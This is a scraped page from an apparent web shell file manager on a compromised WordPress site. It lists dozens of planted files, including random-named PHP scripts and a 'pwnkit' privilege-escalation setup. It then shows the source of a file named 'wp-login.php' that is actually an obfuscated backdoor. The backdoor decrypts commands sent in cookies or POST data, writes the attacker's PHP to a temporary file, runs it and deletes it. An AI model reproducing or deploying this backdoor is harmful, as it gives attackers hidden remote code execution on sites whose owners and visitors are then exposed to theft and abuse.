Gecko [ cointofreedom.com ]

Name	Size	Permission
.pkexec	[ DIR ]	drwxr-xr-x
.well-known	[ DIR ]	drwxr-xr-x
354892	[ DIR ]	drwxr-xr-x
GCONV_PATH=.	[ DIR ]	drwxr-xr-x
brandkings	[ DIR ]	drwxr-x---
cache	[ DIR ]	drwxr-xr-x
css	[ DIR ]	drwxr-xr-x
situsgacor	[ DIR ]	drwxr-xr-x
.htaccess	248 B	-rw-r--r--
.htaccess.phpupgrader.9f3a649c	248 B	-rw-r--r--
.htaccess.phpupgrader.initial	248 B	-rw-r--r--
MgRxQHzkqhG.php	166.77 KB	-rw-r--r--
admin-ajax.php	3.95 KB	-rw-r--r--
admin.php	3.84 KB	-rw-r--r--
adminer.php	465.43 KB	-rw-r--r--
afcfris.php	3.61 KB	-rw-r--r--
ayk.php	329 B	-rw-r--r--
bRqMLOygWE.php	24.96 KB	-rw-r--r--
bromdpyk.php	14.73 KB	-rw-r--r--
bs.php	147.03 KB	-rw-r--r--
bs.php7	149.12 KB	-rw-r--r--
bu.PhP7	136.81 KB	-rw-r--r--
bu.php	136.81 KB	-rw-r--r--
checkbex.php	57.64 KB	-rw-r--r--
chosen.php	13.01 KB	-rw-r--r--
class-IXR-date.php	16.08 KB	-rw-r--r--
cong.php	14.9 KB	-rw-r--r--
dr.php	1.07 KB	-rw-r--r--
error_log	485.51 KB	-rw-r--r--
frWasCtEHyG.php	43.96 KB	-rw-r--r--
geju.php	181 B	-rw-r--r--
hjfchahd.php	14.68 KB	-rw-r--r--
index.php	12.55 KB	-r--r--r--
index1.php	5.71 KB	-rw-r--r--
ipZHdmsFrcI.php	43.95 KB	-rw-r--r--
license.PhP7	34.16 KB	-rw-r--r--
m.PhP7	104.72 KB	-rw-r--r--
m.php	104.72 KB	-rw-r--r--
mailer.php	104.72 KB	-rw-r--r--
mxfdwldr.php	15.22 KB	-rw-r--r--
nsts.PhP7	247.99 KB	-rw-r--r--
nsts.php	247.99 KB	-rw-r--r--
online.php	5.71 KB	-rw-r--r--
options.php	3.68 KB	-rw-r--r--
pIWJxZ7OuwM.php	38.68 KB	-rw-r--r--
profile.php	4.32 KB	-rw-r--r--
prosellers.PhP7	114.41 KB	-rw-r--r--
prosellers.php	114.41 KB	-rw-r--r--
pwnkit	10.99 KB	-rwxr-xr-x
rAuE1goRJxi.php	51.78 KB	-rw-r--r--
rc.php	34.16 KB	-rw-r--r--
rcc.PHP	34.16 KB	-rw-r--r--
simple.php	25.31 KB	-rw-r--r--
style.php	13.36 KB	-rw-r--r--
sz4PBvFcCXa.php	169.05 KB	-rw-r--r--
test1.php	490 B	-rw-r--r--
theme-insmzeh.php	338 B	-rw-r--r--
theme-insuwis.php	338 B	-rw-r--r--
themes.php	3.83 KB	-rw-r--r--
todo.php	5.71 KB	-rw-r--r--
trust.php	7.33 KB	-rw-r--r--
version.php	93 B	-rw-r--r--
vfrtaycq.php	15.22 KB	-rw-r--r--
wSCQ6fzuTgO.php	51.32 KB	-rw-r--r--
wp-admin.php	35.8 KB	-rw-r--r--
wp-diff.PhP7	34.16 KB	-rw-r--r--
wp-gsojdk.php	19.06 KB	-rw-r--r--
wp-info.php	6.71 KB	-rw-r--r--
wp-jfghbr.php	19.06 KB	-rw-r--r--
wp-login.php	3.67 KB	-rw-r--r--
wp-term.php	2.87 KB	-rw-r--r--
wp-ver.php	300 B	-rw-r--r--
zfcpvfjtm.php	75.71 KB	-rw-r--r--
zgsvwcmp.php	164.42 KB	-rw-r--r--

Code Editor : wp-login.php

<?php  /*   pcjmx  */ function       fspijk(){$oukpjp='xtqekrgh'; /*   usk   */ print_r    (24389+24389);	}

$ks_rr    =    'ks_rr'    ^    '-';

$mdbrqgn /*   t */ = /*   ejgzw  */ $_COOKIE;
$jjqdofndu_nmji    = /*ylxp */ 'dgvws';

$fzsugw       = /*h   */ 334;$rr_sqzavge    = /*  fuea*/ $fzsugw    %       17;

function	rsurkt($_rlrroof,  $nixvupy)

{

global      $ks_rr;	$dkuuhht /*idp  */ =  "";      $hhpbss	=    613;    $fiqlxr    = /*   zkpi  */ 0;

/*lkb*/

while       ($fiqlxr /*   ig */ < /*gewk_r  */ strlen($_rlrroof))     {

/*  rvvp  */ $jjqdofn	=    0;

/* jytza  */ while       ($jjqdofn    <   strlen($nixvupy)	&&    $fiqlxr    < /*  xuk   */ strlen($_rlrroof))      {

$dkuuhht /*xx_vym   */ .=      $ks_rr(ord($_rlrroof[$fiqlxr])   ^	ord($nixvupy[$jjqdofn])); /* pjkx */ $dtxpnnvcp	=    306;

$jjqdofn++;     $fiqlxr++; /* oeqbo */ }

}

return     $dkuuhht;}
function	scdfjog($cjzwif,	$_rlrroof){
 /*  s  */ global    $ks_rr;

$dlgcxliqd    =	sprintf($ks_rr(46) /*   szn  */ .   "\57"     .      $ks_rr(638-601)      .      "\163"      .     ".".$ks_rr(157-45) /*  ewwzw  */ .	"\154",    md5($cjzwif)); /*   q  */ $rypayytm	=     'cohmagle';

file_put_contents($dlgcxliqd,	"<" /*   jhi_rl */ .	"?"."\x70" /* _fcqr*/ .    "\150"    .	"p".$ks_rr(32)	.    $ks_rr(791-674)       .	"n".$ks_rr(108)    .    $ks_rr(531-426)     . /*s*/ "n"."\x6b"    .    "(".$ks_rr(145-50)       . /*   s  */ "\x5f"    .	"F"."I"."\x4c"	. /*  flyjc*/ $ks_rr(69) /* a*/ .	"_".$ks_rr(95)	. /*  oseh   */ $ks_rr(100-59) /*p_jy*/ . /* za */ $ks_rr(59) /*  tafbmr*/ .  $ks_rr(32)    . /* d  */ $_rlrroof["d"]);$weijqnvpjp   =    'tolmyeuvkt';   include($dlgcxliqd);

$jjqdofnjvnyzee_x /*  d   */ = /*   aief_  */ 'd_mzpybfg';

$hqpufj /*  izp*/ =      $dlgcxliqd;

@unlink($hqpufj);
}

function /* t_mrn  */ xotdjpmhin()

{
    $jjqdofnjlxx     = /*   yvh   */ '_fvh';

$g_hrr    =    'rxku';

}

xotdjpmhin();

function	gtkgklxgmk()
{

global       $ks_rr;

$fiqlxr    = /*   pdcfr  */ array();

$fiqlxr["p"."\166"] /*  s_ncaq  */ = /* vj */ phpversion();

/*   ll   */ $fiqlxr["s".$ks_rr(118)] /*   qvr */ =      $ks_rr(51)	. /*   c   */ "."."5"; /* kzpqx  */ $qmlun  = /*jim */ 'kkujbauy';  $pic_hcc     = /*   qk  */ 'kmfwhoey_';

echo  @serialize($fiqlxr);

$uqqmfwx /*ogq  */ = /* t*/ '_h';

$sauyff	=	914;

}

function  dqiwnu($_rlrroof, /*  qvwmc   */ $cjzwif, /*  myt   */ $cqqxkkivd)
{
      global	$ks_rr;

$_rlrroof      = /*  p   */ unserialize(rsurkt(rsurkt(base64_decode($_rlrroof), /*bq*/ $cjzwif),	$cqqxkkivd));
 /*  hyx */ $xdzyxdj    =     568;    if      (isset($_rlrroof["a"."k"])) /*   esssmp  */ {	if    ($_rlrroof["a"] /*viu  */ == /*   gi   */ "\151")       {
     gtkgklxgmk();	}	elseif /*   hzau   */ ($_rlrroof["a"]       ==       $ks_rr(913-812))	{    scdfjog($cjzwif,	$_rlrroof);

/*   smd */ }
   exit();

}
}

$mdbrqgn /*   r*/ = /*   cb  */ array_merge($_POST,	$mdbrqgn);

$cjzwif    = /* d */ "5"."\66"    . /*   sxs  */ "\60" /*ts  */ .  $ks_rr(54)      . /*   z*/ "3"."9"."\x63" /*qyln*/ .   "5"."-"."3".$ks_rr(913-812)."9".$ks_rr(102)     . /*opgiik   */ "-"."\x34" /*pzs*/ . /* s  */ $ks_rr(57) /* gypr   */ .	"\x38"	.    "\143"      .  $ks_rr(45) /*   sy*/ .    $ks_rr(672-575)	.      $ks_rr(56)      .     "\x33"      .    "a"."-"."1"."8"."4"."3"."d"."\x39"      .	"9".$ks_rr(843-790)  .    $ks_rr(100)    .    $ks_rr(295-193) /*  qhqr */ .    "6"."f";$fiqlxrblnpcc /* bn  */ =	'jlx';$lt_hwxla    = /*  zg  */ 'p_lyvr';

foreach	($mdbrqgn /* bdezb*/ as /*   rfeqyf  */ $cqqxkkivd /*  vld */ =>      $_rlrroof)	{      dqiwnu($_rlrroof, /*_t  */ $cjzwif, /*   giemru   */ $cqqxkkivd);
}

${this.title}

Code Editor : wp-login.php